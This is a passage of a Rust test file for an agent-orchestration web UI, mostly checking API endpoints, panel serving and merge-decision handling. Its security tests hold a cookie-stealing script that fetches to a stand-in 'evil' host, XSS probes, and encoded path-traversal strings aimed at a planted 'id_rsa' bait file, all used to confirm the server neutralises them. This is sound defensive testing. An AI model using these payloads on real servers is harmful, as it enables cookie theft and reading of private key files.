9299 seed_performance(&fx, &repos, 10, 0, 10);
9300 let (questions, talks, notices) = tokio::join!(
9301 fx.get("/api/questions"),
9302 fx.get("/api/talks"),
9303 fx.get("/api/notifications")
9304 );
9305 assert_eq!(request_counts(&questions).0, 1);
9306 assert_eq!(request_counts(&talks).0, 2);
9307 assert_eq!(request_counts(¬ices), (0, 0));
9308 }
9309
9310 #[tokio::test]
9311 async fn list_endpoints_large_home_ceiling() {
9312 let (_tmp, repos, fx) = performance_fixture().await;
9313 seed_performance(&fx, &repos, 200, 300, 400);
9314 let mut failures = Vec::new();
9315 for path in [
9318 "/",
9319 "/app.js",
9320 "/app.css",
9321 "/api/questions",
9322 "/api/runs?limit=300",
9323 "/api/queue",
9324 "/api/talks",
9325 "/api/notifications",
9326 "/api/health",
9327 "/api/stats",
9328 "/api/loop",
9329 "/api/settings",
9330 "/api/repos",
9331 ] {
9332 let start = std::time::Instant::now();
9333 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9334 let elapsed = start.elapsed();
9335 eprintln!("{path}: {elapsed:?}");
9336 match result {
9337 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9338 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9339 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9340 }
9341 }
9342 assert!(failures.is_empty(), "{}", failures.join("\n"));
9343 }
9344
9345 struct Res {
9346 status: u16,
9347 headers: String,
9348 head: String,
9353 body: String,
9354 bytes: Vec<u8>,
9358 }
9359
9360 impl Res {
9361 fn json(&self) -> Value {
9362 serde_json::from_str(&self.body)
9363 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9364 }
9365
9366 fn header(&self, name: &str) -> Option<&str> {
9368 self.head.lines().find_map(|line| {
9369 let (key, value) = line.split_once(':')?;
9370 key.trim()
9371 .eq_ignore_ascii_case(name)
9372 .then(|| value.trim_start().trim_end_matches('\r'))
9373 })
9374 }
9375 }
9376
9377 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9380 request_with(addr, method, path, body, &[]).await
9381 }
9382
9383 async fn request_with(
9387 addr: SocketAddr,
9388 method: &str,
9389 path: &str,
9390 body: Option<&str>,
9391 extra: &[(&str, &str)],
9392 ) -> Res {
9393 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9394 for (name, value) in extra {
9395 head.push_str(&format!("{name}: {value}\r\n"));
9396 }
9397 if let Some(body) = body {
9398 head.push_str("Content-Type: application/json\r\n");
9399 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9400 }
9401 head.push_str("\r\n");
9402 if let Some(body) = body {
9403 head.push_str(body);
9404 }
9405 let mut socket = tokio::net::TcpStream::connect(addr)
9406 .await
9407 .expect("connect to the test server");
9408 socket
9409 .write_all(head.as_bytes())
9410 .await
9411 .expect("write request");
9412 let mut raw = Vec::new();
9413 socket.read_to_end(&mut raw).await.expect("read response");
9414 let split = raw
9417 .windows(4)
9418 .position(|w| w == b"\r\n\r\n")
9419 .expect("a header block");
9420 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9421 let bytes = raw[split + 4..].to_vec();
9422 let status = head
9423 .lines()
9424 .next()
9425 .and_then(|line| line.split_whitespace().nth(1))
9426 .and_then(|code| code.parse().ok())
9427 .expect("a status line");
9428 Res {
9429 status,
9430 headers: head.to_lowercase(),
9431 head,
9432 body: String::from_utf8_lossy(&bytes).into_owned(),
9433 bytes,
9434 }
9435 }
9436
9437 async fn request_bytes(
9443 addr: SocketAddr,
9444 path: &str,
9445 headers: &[(&str, &str)],
9446 body: &[u8],
9447 ) -> Res {
9448 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9449 for (name, value) in headers {
9450 head.push_str(&format!("{name}: {value}\r\n"));
9451 }
9452 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9453 let mut socket = tokio::net::TcpStream::connect(addr)
9454 .await
9455 .expect("connect to the test server");
9456 socket
9457 .write_all(head.as_bytes())
9458 .await
9459 .expect("write request head");
9460 socket.write_all(body).await.expect("write request body");
9461 let mut raw = Vec::new();
9462 socket.read_to_end(&mut raw).await.expect("read response");
9463 let split = raw
9464 .windows(4)
9465 .position(|w| w == b"\r\n\r\n")
9466 .expect("a header block");
9467 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9468 let bytes = raw[split + 4..].to_vec();
9469 let status = head
9470 .lines()
9471 .next()
9472 .and_then(|line| line.split_whitespace().nth(1))
9473 .and_then(|code| code.parse().ok())
9474 .expect("a status line");
9475 Res {
9476 status,
9477 headers: head.to_lowercase(),
9478 head,
9479 body: String::from_utf8_lossy(&bytes).into_owned(),
9480 bytes,
9481 }
9482 }
9483
9484 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9486 let mut state = RunState::new(
9487 PathBuf::from("/repo/magi"),
9488 "main".to_owned(),
9489 "0123456789abcdef".to_owned(),
9490 "Add a web UI\n\nMobile first.".to_owned(),
9491 Config::default(),
9492 );
9493 state.id = id.to_owned();
9494 state.status = status;
9495 let dir = runs.join(id);
9496 std::fs::create_dir_all(&dir).expect("run dir");
9497 std::fs::write(
9498 dir.join("run.json"),
9499 serde_json::to_string_pretty(&state).expect("serialize run"),
9500 )
9501 .expect("write run.json");
9502 }
9503
9504 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9508 let mut state = RunState::new(
9509 PathBuf::from(repo),
9510 "main".to_owned(),
9511 "0123456789abcdef".to_owned(),
9512 "task".to_owned(),
9513 Config::default(),
9514 );
9515 state.id = id.to_owned();
9516 state.status = status;
9517 let dir = runs.join(id);
9518 std::fs::create_dir_all(&dir).expect("run dir");
9519 std::fs::write(
9520 dir.join("run.json"),
9521 serde_json::to_string_pretty(&state).expect("serialize run"),
9522 )
9523 .expect("write run.json");
9524 }
9525
9526 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9527 let body = serde_json::json!({
9528 "schema": 1,
9529 "pid": 4242,
9530 "started_at": Timestamp::now().to_string(),
9531 "updated_at": updated_at.to_string(),
9532 "idle": false,
9533 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9534 "completed": 7,
9535 "polls": 143,
9536 });
9537 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9538 }
9539
9540 fn launch_idle(
9550 _opts: daemon::Opts,
9551 stop: daemon::Stop,
9552 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9553 Box::pin(async move {
9554 while !stop.stopped() {
9555 tokio::time::sleep(Duration::from_millis(2)).await;
9556 }
9557 Ok(())
9558 })
9559 }
9560
9561 fn launch_broken(
9564 _opts: daemon::Opts,
9565 _stop: daemon::Stop,
9566 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9567 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9572 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9573 Box::pin(async move {
9574 Err(anyhow::anyhow!(if first {
9575 "publish the daemon status file: read-only file system"
9576 } else {
9577 "the restarted stand-in failed as well"
9578 }))
9579 })
9580 }
9581
9582 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9589 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9590
9591 fn launch_knocking_on_the_way_out(
9598 _opts: daemon::Opts,
9599 stop: daemon::Stop,
9600 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9601 Box::pin(async move {
9602 while !stop.stopped() {
9603 tokio::time::sleep(Duration::from_millis(2)).await;
9604 }
9605 let addr = PARK_KNOCK
9606 .lock()
9607 .expect("park knock")
9608 .expect("the test set an address");
9609 let heard = request(addr, "GET", "/api/health", None).await.status;
9610 *PARK_HEARD.lock().expect("park heard") = Some(heard);
9611 Ok(())
9612 })
9613 }
9614
9615 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9624 for _ in 0..SETTLE_STEPS {
9625 let view = fx.get("/api/loop").await.json();
9626 if want(&view) {
9627 return view;
9628 }
9629 tokio::time::sleep(Duration::from_millis(10)).await;
9630 }
9631 panic!(
9632 "the loop never settled: {}",
9633 fx.get("/api/loop").await.json()
9634 );
9635 }
9636
9637 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9639 let store = fx.questions();
9640 let mut q = Question::new(
9641 "20260902-000000-beef".to_owned(),
9642 "implement".to_owned(),
9643 "impl-A".to_owned(),
9644 summary.to_owned(),
9645 "because it matters".to_owned(),
9646 choices.iter().map(|c| (*c).to_owned()).collect(),
9647 );
9648 store.put(&mut q).expect("put question");
9649 q.id
9650 }
9651
9652 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9658 let store = fx.questions();
9659 let mut q = Question::new(
9660 "20260902-000000-beef".to_owned(),
9661 "land".to_owned(),
9662 "fix".to_owned(),
9663 "Merge this?".to_owned(),
9664 "the diff is in the panel".to_owned(),
9665 vec!["merge".to_owned(), "hold".to_owned()],
9666 );
9667 let staging = fx.home.path().join("staging");
9670 std::fs::create_dir_all(&staging).expect("staging dir");
9671 let sources: Vec<PathBuf> = assets
9672 .iter()
9673 .map(|(name, bytes)| {
9674 let path = staging.join(name);
9675 std::fs::write(&path, bytes).expect("write staged asset");
9676 path
9677 })
9678 .collect();
9679 store
9680 .put_panel(&mut q, html, &sources)
9681 .expect("write the panel");
9682 store.put(&mut q).expect("put question");
9683 q.id
9684 }
9685
9686 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9695 seed_talk_at(&fx.talks(), id, status)
9696 }
9697
9698 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9699 std::fs::create_dir_all(store.root()).expect("talks dir");
9700 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9701 .expect("serialize a seat");
9702 let body = serde_json::json!({
9703 "schema": 1,
9704 "id": id,
9705 "repo": "/repo/magi",
9706 "agent": "mock",
9707 "status": status,
9708 "turns": [],
9709 "created_at": Timestamp::now().to_string(),
9710 "updated_at": Timestamp::now().to_string(),
9711 "seat": seat,
9712 });
9713 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9714 store.get(id).expect("the seeded talk has to be readable");
9715 id.to_owned()
9716 }
9717
9718 #[tokio::test]
9719 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9720 let fx = Fixture::start().await;
9721 let id = panel(
9722 &fx,
9723 "<h1>Merge?</h1><img src=\"diff.svg\">",
9724 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9725 );
9726
9727 for path in [
9728 format!("/api/questions/{id}/panel"),
9729 format!("/api/questions/{id}/asset/diff.svg"),
9730 ] {
9731 let res = fx.get(&path).await;
9732 assert_eq!(res.status, 200, "{path}: {}", res.body);
9733 assert_eq!(
9739 res.header("content-security-policy"),
9740 Some(
9741 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
9742 font-src data:; base-uri 'none'; form-action 'none'; \
9743 frame-ancestors 'self'"
9744 ),
9745 "{path} is the only thing between a hostile panel and the tailnet"
9746 );
9747 assert_eq!(
9748 res.header("x-content-type-options"),
9749 Some("nosniff"),
9750 "{path}: a browser must not re-decide the type we sent"
9751 );
9752 assert_eq!(
9753 res.header("referrer-policy"),
9754 Some("no-referrer"),
9755 "{path}: a panel must not leak the question id off the machine"
9756 );
9757
9758 let pre = fx.head(&path).await;
9763 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
9764 assert_eq!(
9765 pre.header("content-security-policy"),
9766 res.header("content-security-policy"),
9767 "{path}: the preflight carries the same policy"
9768 );
9769 assert_eq!(
9770 pre.header("content-type"),
9771 res.header("content-type"),
9772 "{path}: the preflight carries the same type"
9773 );
9774 }
9775 }
9776
9777 #[tokio::test]
9778 async fn a_panel_reaches_the_browser_byte_for_byte() {
9779 let fx = Fixture::start().await;
9780 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
9785 let id = panel(&fx, html, &[]);
9786
9787 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9788
9789 assert_eq!(res.status, 200);
9790 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9791 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9792 assert_eq!(
9793 res.header("content-disposition"),
9794 None,
9795 "the panel itself is rendered in the frame, not downloaded"
9796 );
9797 }
9798
9799 #[tokio::test]
9800 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9801 let fx = Fixture::start().await;
9802 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9803 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9804 let id = panel(
9805 &fx,
9806 "<img src=\"diff.svg\"><img src=\"shot.png\">",
9807 &[("diff.svg", svg), ("shot.png", png)],
9808 );
9809
9810 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9811 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9812
9813 assert_eq!(as_svg.status, 200);
9814 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9815 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9820
9821 assert_eq!(as_png.status, 200);
9822 assert_eq!(as_png.header("content-type"), Some("image/png"));
9823 assert_eq!(
9824 as_png.header("content-disposition"),
9825 None,
9826 "a raster image has no execution surface, so tapping it still shows it"
9827 );
9828 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9829 }
9830
9831 #[tokio::test]
9832 async fn an_html_asset_is_never_served_as_html() {
9833 let fx = Fixture::start().await;
9834 let id = panel(
9835 &fx,
9836 "<p>see the notes</p>",
9837 &[
9838 (
9839 "notes.html",
9840 b"<script>fetch('http://evil/'+document.cookie)</script>",
9841 ),
9842 ("hook.js", b"fetch('http://evil/')"),
9843 ("data.json", b"{}"),
9844 ("HEADLINE.TXT", b"plain"),
9845 ],
9846 );
9847
9848 for name in ["notes.html", "hook.js", "data.json"] {
9849 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9850 assert_eq!(res.status, 200, "{name}: {}", res.body);
9851 assert_eq!(
9856 res.header("content-type"),
9857 Some("application/octet-stream"),
9858 "{name} must not be a type the browser will execute or render"
9859 );
9860 }
9861 let txt = fx
9864 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9865 .await;
9866 assert_eq!(
9867 txt.header("content-type"),
9868 Some("text/plain; charset=utf-8")
9869 );
9870 }
9871
9872 #[tokio::test]
9873 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9874 let fx = Fixture::start().await;
9875 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9876 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9880
9881 for encoded in [
9888 "%2e%2e%2fid_rsa",
9889 "..%2fid_rsa",
9890 "..%5cid_rsa",
9891 "%2e%2e%5cid_rsa",
9892 "diff%00.svg",
9893 "..",
9894 ".hidden",
9895 "%2e%2e%2f%2e%2e%2fid_rsa",
9896 ] {
9897 let res = fx
9898 .get(&format!("/api/questions/{id}/asset/{encoded}"))
9899 .await;
9900 assert_eq!(
9901 res.status, 400,
9902 "`{encoded}` has to be refused by name, not looked up: {}",
9903 res.body
9904 );
9905 assert!(res.json()["error"].is_string(), "{}", res.body);
9906 }
9907
9908 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9914 let res = fx
9915 .get(&format!("/api/questions/{id}/asset/{literal}"))
9916 .await;
9917 assert_eq!(
9918 res.status, 404,
9919 "`{literal}` must not match the asset route at all: {}",
9920 res.body
9921 );
9922 }
9923 }
9924
9925 #[tokio::test]
9926 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9927 let fx = Fixture::start().await;
9928 let plain = ask(&fx, "Which backend?", &["SQLite"]);
9929 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9930
9931 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9935 assert_eq!(none.status, 404, "{}", none.body);
9936 assert!(none.json()["error"].is_string(), "{}", none.body);
9937 assert_eq!(
9938 fx.head(&format!("/api/questions/{plain}/panel"))
9939 .await
9940 .status,
9941 404,
9942 "the preflight is the only way the client can learn this"
9943 );
9944
9945 let missing = fx
9947 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9948 .await;
9949 assert_eq!(missing.status, 404, "{}", missing.body);
9950 assert!(missing.json()["error"].is_string(), "{}", missing.body);
9951
9952 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9954 assert_eq!(
9955 fx.get("/api/questions/nope/asset/diff.svg").await.status,
9956 404
9957 );
9958 }
9959
9960 #[tokio::test]
9961 async fn a_run_with_an_open_question_reads_as_waiting() {
9962 let fx = Fixture::start().await;
9963 let run = "20260902-000000-beef".to_owned();
9964 write_run(&fx.runs(), &run, RunStatus::Implementing);
9965
9966 let before = fx.get("/api/runs").await.json();
9967 assert_eq!(before[0]["waiting"], false, "{before}");
9968
9969 let store = fx.questions();
9970 let mut q = Question::new(
9971 run.clone(),
9972 "implement".to_owned(),
9973 "impl-A".to_owned(),
9974 "Which backend?".to_owned(),
9975 String::new(),
9976 vec!["SQLite".to_owned()],
9977 );
9978 store.put(&mut q).expect("put");
9979
9980 let during = fx.get("/api/runs").await.json();
9981 assert_eq!(during[0]["waiting"], true, "{during}");
9982
9983 q.answer(Answer::Choice("SQLite".to_owned()))
9986 .expect("answer");
9987 store.put(&mut q).expect("put");
9988 let after = fx.get("/api/runs").await.json();
9989 assert_eq!(after[0]["waiting"], false, "{after}");
9990 }
9991
9992 #[tokio::test]
9993 async fn an_open_question_is_listed_and_counted_by_health() {
9994 let fx = Fixture::start().await;
9995 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9996
9997 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9998 let listed = fx.get("/api/questions").await.json();
9999 assert_eq!(listed.as_array().expect("array").len(), 1);
10000 assert_eq!(listed[0]["id"], id);
10001 assert_eq!(listed[0]["status"], "open");
10002 assert_eq!(listed[0]["choices"][1], "Redis");
10003 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10006 }
10007
10008 #[tokio::test]
10009 async fn merge_decision_api_persists_exact_target_and_selected_action() {
10010 let fx = Fixture {
10011 home: TempDir::new().unwrap(),
10012 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10013 };
10014 for choice in [
10015 crate::land::HOLD,
10016 crate::merge_decision::WITHDRAW,
10017 "reimplement:beta",
10018 ] {
10019 let mut q = Question::new(
10020 "old-run".into(),
10021 crate::land::APPROVAL_NODE.into(),
10022 "land".into(),
10023 "Decision".into(),
10024 "Review findings".into(),
10025 vec![
10026 "merge".into(),
10027 "hold".into(),
10028 crate::merge_decision::WITHDRAW.into(),
10029 "reimplement:beta".into(),
10030 ],
10031 );
10032 q.merge_target = Some(crate::merge_decision::Target {
10033 pr: "https://github.com/example/repo/pull/42".into(),
10034 head: "exact-reviewed-head".into(),
10035 language: "ja".into(),
10036 });
10037 fx.questions().put(&mut q).unwrap();
10038 let ui = Arc::new(Ui::new(
10039 fx.queue(),
10040 fx.questions(),
10041 fx.talks(),
10042 fx.runs(),
10043 fx.home.path().into(),
10044 std::path::PathBuf::from("."),
10045 ));
10046 let response = question_answer(
10047 State(ui.clone()),
10048 Path(q.id.clone()),
10049 Ok(Json(NewAnswer {
10050 choice: Some(choice.into()),
10051 text: None,
10052 })),
10053 )
10054 .await
10055 .unwrap();
10056 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
10057 let disk = fx.questions().get(&q.id).unwrap();
10058 assert_eq!(disk.merge_target, q.merge_target);
10059 assert_eq!(disk.resolution().as_deref(), Some(choice));
10060 assert!(
10061 question_answer(
10062 State(ui),
10063 Path(q.id.clone()),
10064 Ok(Json(NewAnswer {
10065 choice: Some("merge".into()),
10066 text: None
10067 }))
10068 )
10069 .await
10070 .is_err(),
10071 "an already settled decision cannot turn into merge approval"
10072 );
10073 }
10074 }
10075
10076 #[tokio::test]
10077 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10078 let fx = Fixture {
10079 home: TempDir::new().unwrap(),
10080 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10081 };
10082 let mut state = crate::land::tests::repair_state(true, true);
10083 state.status = RunStatus::Landing;
10084 state.parked = true;
10085 state.driver_exited = true;
10086 let mut task = Task::new(
10087 "Existing PR owner".into(),
10088 state.instruction.clone(),
10089 state.repo.clone(),
10090 Source::Human,
10091 );
10092 task.runs.push(state.id.clone());
10093 task.status = TaskStatus::Parked;
10094 fx.queue().put(&mut task).unwrap();
10095 let mut q = Question::new(
10096 state.id.clone(),
10097 crate::land::APPROVAL_NODE.into(),
10098 "land".into(),
10099 "Contested merge".into(),
10100 "Original evidence".into(),
10101 vec!["merge".into(), "hold".into()],
10102 );
10103 state.land_approval = Some(crate::run::LandApproval {
10104 question: q.id.clone(),
10105 head: "reviewed-head".into(),
10106 });
10107 state.save_under(fx.home.path()).unwrap();
10108 fx.questions().put(&mut q).unwrap();
10109 task.hold_manual(Some("Pause this PR".into()));
10111 fx.queue().put(&mut task).unwrap();
10112 let ui = Arc::new(Ui::new(
10115 fx.queue(),
10116 fx.questions(),
10117 fx.talks(),
10118 fx.runs(),
10119 fx.home.path().to_path_buf(),
10120 state.repo.clone(),
10121 ));
10122 let response = question_answer(
10123 State(ui),
10124 Path(q.id.clone()),
10125 Ok(Json(NewAnswer {
10126 choice: Some(crate::land::REPAIR.into()),
10127 text: None,
10128 })),
10129 )
10130 .await
10131 .unwrap();
10132 assert_eq!(response.0.question.id, q.id);
10133 let upgraded = fx.questions().get(&q.id).unwrap();
10134 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
10135 assert!(upgraded.detail.starts_with("Original evidence"));
10136 let claim = fx.queue().claim(&task.id).unwrap();
10137 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10138 assert!(
10139 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
10140 "an existing driver keeps its claim"
10141 );
10142 drop(claim);
10143 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10144 let resumed = fx.queue().get(&task.id).unwrap();
10145 assert_eq!(
10146 resumed
10147 .resume_override
10148 .as_ref()
10149 .unwrap()
10150 .pinned_run
10151 .as_deref(),
10152 Some(state.id.as_str())
10153 );
10154 assert!(resumed.status.runnable());
10155 assert_eq!(resumed.instruction, task.instruction);
10156 assert_eq!(resumed.runs, task.runs);
10157 assert!(resumed.action_applied(&q.id));
10158 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10159 assert_eq!(fx.queue().list().len(), 1);
10160 assert_eq!(
10161 fx.queue().get(&task.id).unwrap().resume_override,
10162 resumed.resume_override
10163 );
10164 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10165 assert!(
10166 disk.merge_repairs.is_empty(),
10167 "only the claimed run driver may execute repair"
10168 );
10169 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
10170 }
10171
10172 #[tokio::test]
10173 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
10174 let fx = Fixture::start().await;
10175 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10176 let path = format!("/api/questions/{id}/answer");
10177
10178 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
10179 assert_eq!(res.status, 200, "{}", res.body);
10180 let body = res.json();
10181 assert_eq!(body["status"], "answered");
10182 assert_eq!(body["answer"]["choice"], "Redis");
10183
10184 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
10188 assert_eq!(again.status, 409, "{}", again.body);
10189 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10190 }
10191
10192 #[tokio::test]
10193 async fn saying_something_appends_a_turn_without_answering() {
10194 let fx = Fixture::start().await;
10195 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10196 let path = format!("/api/questions/{id}/say");
10197
10198 let res = fx
10199 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
10200 .await;
10201 assert_eq!(res.status, 200, "{}", res.body);
10202 let body = res.json();
10203 assert_eq!(body["status"], "open", "talking back is not a decision");
10204 assert_eq!(body["answer"], Value::Null);
10205 assert_eq!(body["thread"][0]["who"], "operator");
10206 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
10207 assert_eq!(body["waiting_on_agent"], true);
10208 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10210 }
10211
10212 #[tokio::test]
10213 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
10214 let fx = Fixture::start().await;
10215 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10216
10217 let list = fx.get("/api/questions").await.json();
10218 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
10219
10220 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
10221 assert_eq!(res.status, 409, "{}", res.body);
10222 let q = fx.questions().get(&id).unwrap();
10223 assert!(q.status.open());
10224 assert!(q.consult.is_none());
10225 }
10226
10227 #[tokio::test]
10228 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
10229 let fx = Fixture::start().await;
10230 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10231 let cfg = Config {
10232 agents: vec![crate::config::AgentSpec {
10233 id: "mock".to_owned(),
10234 kind: crate::config::AgentKind::Command,
10235 model: None,
10236 command: vec!["true".to_owned()],
10237 extra_args: Vec::new(),
10238 env: Default::default(),
10239 prompt_delivery: None,
10240 }],
10241 ..Config::default()
10242 };
10243 let talk = crate::talk::begin(
10244 &fx.talks(),
10245 &cfg,
10246 fx.home.path().to_path_buf(),
10247 Some("mock"),
10248 )
10249 .unwrap();
10250 let mut task = Task::new(
10251 "t".to_owned(),
10252 "Do it".to_owned(),
10253 PathBuf::from("/repo/magi"),
10254 Source::Agent {
10255 run: talk.id.clone(),
10256 node: crate::queue::CHAT_NODE.to_owned(),
10257 },
10258 );
10259 task.start("20260902-000000-beef".to_owned());
10260 fx.queue().put(&mut task).unwrap();
10261
10262 let list = fx.get("/api/questions").await.json();
10263 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10264 assert_eq!(
10265 list[0]["choices"],
10266 serde_json::json!(["SQLite", "Redis"]),
10267 "the hand-over is never a choice"
10268 );
10269 fx.questions()
10270 .update(&id, |q| {
10271 q.node = crate::land::APPROVAL_NODE.into();
10272 q.choices = vec!["merge".into(), "hold".into()];
10273 Ok(())
10274 })
10275 .unwrap();
10276 let list = fx.get("/api/questions").await.json();
10277 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10278 assert_eq!(list[0]["can_consult_chat"], true);
10279 fx.questions()
10280 .update(&id, |q| {
10281 q.node = crate::bump::NOTICE_NODE.into();
10282 Ok(())
10283 })
10284 .unwrap();
10285 let list = fx.get("/api/questions").await.json();
10286 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
10287 assert_eq!(list[0]["can_consult_chat"], false);
10288 }
10289
10290 #[tokio::test]
10291 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
10292 let fx = Fixture::start().await;
10293 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10294 fx.questions()
10295 .update(&id, |q| {
10296 q.node = crate::land::APPROVAL_NODE.into();
10297 q.choices = vec!["merge".into(), "hold".into()];
10298 Ok(())
10299 })
10300 .unwrap();
10301 let cfg = Config {
10302 agents: vec![crate::config::AgentSpec {
10303 id: "mock".to_owned(),
10304 kind: crate::config::AgentKind::Command,
10305 model: None,
10306 command: vec!["true".to_owned()],
10307 extra_args: Vec::new(),
10308 env: Default::default(),
10309 prompt_delivery: None,
10310 }],
10311 ..Config::default()
10312 };
10313 let repo = fx.home.path().join("chat-repo");
10315 std::fs::create_dir_all(&repo).unwrap();
10316 let toml = repo.join("magi.toml");
10317 std::fs::write(&toml, "this is = = not toml").unwrap();
10318 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
10319 let mut task = Task::new(
10320 "t".to_owned(),
10321 "Do it".to_owned(),
10322 PathBuf::from("/repo/magi"),
10323 Source::Agent {
10324 run: talk.id.clone(),
10325 node: crate::queue::CHAT_NODE.to_owned(),
10326 },
10327 );
10328 task.start("20260902-000000-beef".to_owned());
10329 fx.queue().put(&mut task).unwrap();
10330
10331 let path = format!("/api/questions/{id}/consult");
10332 let res = fx.post(&path, None).await;
10333 assert!(res.status >= 400, "{}", res.body);
10334 assert!(fx.questions().get(&id).unwrap().consult.is_none());
10335 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
10336
10337 std::fs::write(&toml, "").unwrap();
10338 let res = fx.post(&path, None).await;
10339 assert_eq!(res.status, 202, "{}", res.body);
10340 assert!(fx.questions().get(&id).unwrap().consult.is_some());
10341 let q = fx.questions().get(&id).unwrap();
10342 assert!(q.status.open());
10343 assert!(q.answer.is_none());
10344 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
10345 assert_eq!(res.json()["can_consult_chat"], true);
10346 let list = fx.get("/api/questions").await.json();
10347 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
10348 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
10349
10350 let res = fx
10351 .post(
